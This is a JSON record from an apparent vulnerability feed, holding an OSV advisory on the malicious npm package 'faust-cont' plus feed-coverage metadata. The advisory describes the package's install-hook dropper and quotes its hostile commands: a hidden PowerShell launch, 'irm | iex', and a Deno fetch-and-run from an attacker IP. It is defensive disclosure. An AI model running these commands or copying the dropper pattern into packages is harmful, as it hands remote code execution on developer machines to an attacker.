{"id":"MAL-2026-11042","revision":null,"records":[{"revision":"6b1287f3faa64eb7876866efcc8928ba","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-11042","aliases":[],"title":"Malicious code in faust-cont (npm)","description":"The npm package `faust-cont` is a supply-chain dropper disguised as a benign CLI tool (`index.js` is a decoy that only logs \"cli tool install package loaded\"). The real behaviour is placed in an install script.\n\nAn `install` lifecycle hook (`install: node install.js`) executes automatically on `npm install`, before the package is ever imported. On Windows the install script writes a PowerShell script to `%TEMP%\\setup.ps1` and launches it hidden and detached (`powershell -WindowStyle Hidden -ExecutionPolicy Bypass`). That script bootstraps a runtime toolchain so execution succeeds on a clean host — it installs scoop (`irm get.scoop.sh | iex`), then winget, then Deno — and finally runs `deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js`, fetching and executing a remote module from a hardcoded raw IP over plain HTTP with all Deno permissions granted (filesystem, network, environment, subprocess). Per the dropper's own comments the remote stage is a server-compiled loader that pulls a second stage which sets up autorun persistence and runs a main payload. The install script also contains a Telegram Bot API beacon that reports OS / architecture / hostname on install (the bot token is blank in the published build). Any Windows workstation or CI runner that installs the package (directly or transitively) hands all-permission remote code execution to the operator.\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6ecd29d4c7b48237d28a9433bcfea361da155e1ed4ebdef265fd661574fe1a5d)\nThe package's npm install lifecycle hook runs install.js, which writes a PowerShell script to %TEMP%\\setup.ps1 and launches it via `start /min powershell -WindowStyle Hidden -ExecutionPolicy Bypass` with windowsHide and detached options. The PowerShell script installs the Deno runtime (via winget/scoop) and then invokes `deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js`, fetching unpinned JavaScript from a bare IP over plain HTTP and executing it with all Deno permissions on the installer's Windows host. Separately, install.js collects OS name, architecture, and hostname and POSTs them to a hardcoded api.telegram.org bot endpoint (bot token and chat_id constants are blank in this published artifact, but the exfil path is fully wired and fires unconditionally). Hidden-window and detached execution deliberately conceal the dropper from the installing user.\n","state":0,"publishedAt":"2026-07-21T00:00:00+00:00","modifiedAt":"2026-09-11T04:00:07.7469447+00:00","affected":[{"ecosystem":"npm","name":"faust-cont","ranges":[],"versions":["1.0.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://research.codelake.dev/advisories/clr-2026-3040-faust-cont","https://www.npmjs.com/package/faust-cont/v/1.0.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-11042","license":"OSV · upstream source license applies","key":"osv:MAL-2026-11042","identifiers":["MAL-2026-11042"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T00:30:35.7025358+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T00:30:35.7025358+00:00","lastSuccessAt":"2026-11-15T00:30:35.860631+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.8606328+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-f4305fb3b9417bd97547e9305731a80b9463cd5f49ef853b3cd62960cad53a57-b1b3898d5794e2254d7800e3fe3019a3916d0abcec27dcc333172b795590268a","complete":true,"records":425757,"lastAttemptAt":"2026-11-15T00:30:35.1141414+00:00","lastSuccessAt":"2026-11-14T23:32:08.2210295+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.1141414+00:00","snapshotPublishedAt":"2026-11-14T23:27:44+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-19d3a167288748059b764510b42a56e1","complete":true,"records":13821,"lastAttemptAt":"2026-11-15T00:39:00.6890084+00:00","lastSuccessAt":"2026-11-15T00:39:00.683+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:39:00.683+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T00:30:35.7025358+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T00:30:35.7025358+00:00","lastSuccessAt":"2026-11-15T00:30:35.8620517+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.8620552+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a2d6726fa6984ccea1afed1a3e59d87e","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T00:31:15.0819052+00:00","lastSuccessAt":"2026-11-15T00:31:15.078+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:31:15.078+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T00:30:35.4763058+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.4763058+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T00:30:35.2641931+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.2641931+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-012aff9b2fb349d53e2c4bace6ca57956b6f5f9d82c1dc9fdc1c9b3c738f8977","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T00:30:35.583275+00:00","lastSuccessAt":"2026-11-14T04:57:03.8279646+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.583275+00:00","snapshotPublishedAt":"2026-11-14T03:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-bfbc75e561bfffdd0ad20c592902934adbd2d0a701402c5539bbccd9991fe78c","complete":true,"records":232472,"lastAttemptAt":"2026-11-15T00:30:35.36985+00:00","lastSuccessAt":"2026-11-14T21:27:13.9659762+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.36985+00:00","snapshotPublishedAt":"2026-11-14T20:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}